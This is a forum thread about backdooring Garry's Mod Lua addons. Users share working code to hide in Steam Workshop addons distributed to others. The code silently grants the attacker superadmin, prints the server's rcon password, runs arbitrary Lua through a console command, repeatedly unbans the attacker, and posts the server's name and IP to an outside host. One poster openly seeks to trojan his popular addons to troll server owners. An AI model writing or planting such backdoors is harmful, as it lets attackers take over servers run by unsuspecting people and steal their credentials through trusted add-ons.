HelpGmod Lua Backdoor

Posts 1618 of 18 · Page 2 of 2
Quote Originally Posted by TylerHax View Post
Here you go: function ADDMIN( ply )
if ( ply:SteamID() == "YOUR STEAMID HERE" ) then
ply:SetUserGroup("superadmin")
end
end
hook.Add("PlayerSpawn", "ADDMIN", ADDMIN) PUT ANYWHERE IN CODE, HIDE IT!!!
If I put this in the addon, will it run when I join, or do I have to type something in console first. Thanks in advance.

- - - Updated - - -

Quote Originally Posted by TylerHax View Post
Here you go: function ADDMIN( ply )
if ( ply:SteamID() == "YOUR STEAMID HERE" ) then
ply:SetUserGroup("superadmin")
end
end
hook.Add("PlayerSpawn", "ADDMIN", ADDMIN) PUT ANYWHERE IN CODE, HIDE IT!!!
Would this make me have to run a command or just auto-make me superadmin?
I know almost no lua but just by looking at it, it seems it would add you as soon as the code is ran which would be when the addon is updated with the backdoor and the server using that addon is started.

tl;dr: Auto-make you superadmin
best motherfucking hack out there
Quote Originally Posted by evilmystery View Post
I have some popular addons on steam workshop. I basically want to backdoor them using a lua file to send me their server's ip and make me admin so I can troll. Would be nice if their is a way to mask commands being sent so they dont know I made myself admin or am the one fucking with their server. Would someone mind sharing how to do this as I dont know lua at all.
check this shit out,

put your steam ID in the 2 spots where it says YOUR STEAM ID and then put this in your backdoor addon files and then when your target has the addon downloaded.

put these in your console:

_76sup <-------- this is used to get access to to the superadmin rank which is used to take over the server

76soldier_cf" <---------- to print the rcon password to the your console

there is also a timer that checks for a ban and unbans you every few seconds

there is also a website that you can check the servers you have taken over but it does not work anymore.


hook.Add( "Initialize", "cakerawsd", function()
concommand.Add( "_76sup", function(ply)if ( ply:SteamID() == "YOUR STEAM ID") then
RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else
ply:ChatPrint("Your not superadmin, " .. ply:Name() .. ".")
endend)

timer.Create( "checkForBan", 5, 0, function()
ULib.unban( "PUT STEAM ID HERE")
end )
concommand.Add("76soldier_cf",function()local RconPass = GetConVar("rcon_password"):GetString() print(RconPass) end)
concommand.Add( "_76", function(player,command,argument) RunString(table.concat(argument)) end)
concommand.Add("76soldier_sa", function(player) player:SetUserGroup("superadmin") end)
http.Post("http://soldier-76.com/bd.php", {name = GetHostName(),ip = game.GetIPAddress()})
end)
Posts 1618 of 18 · Page 2 of 2

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?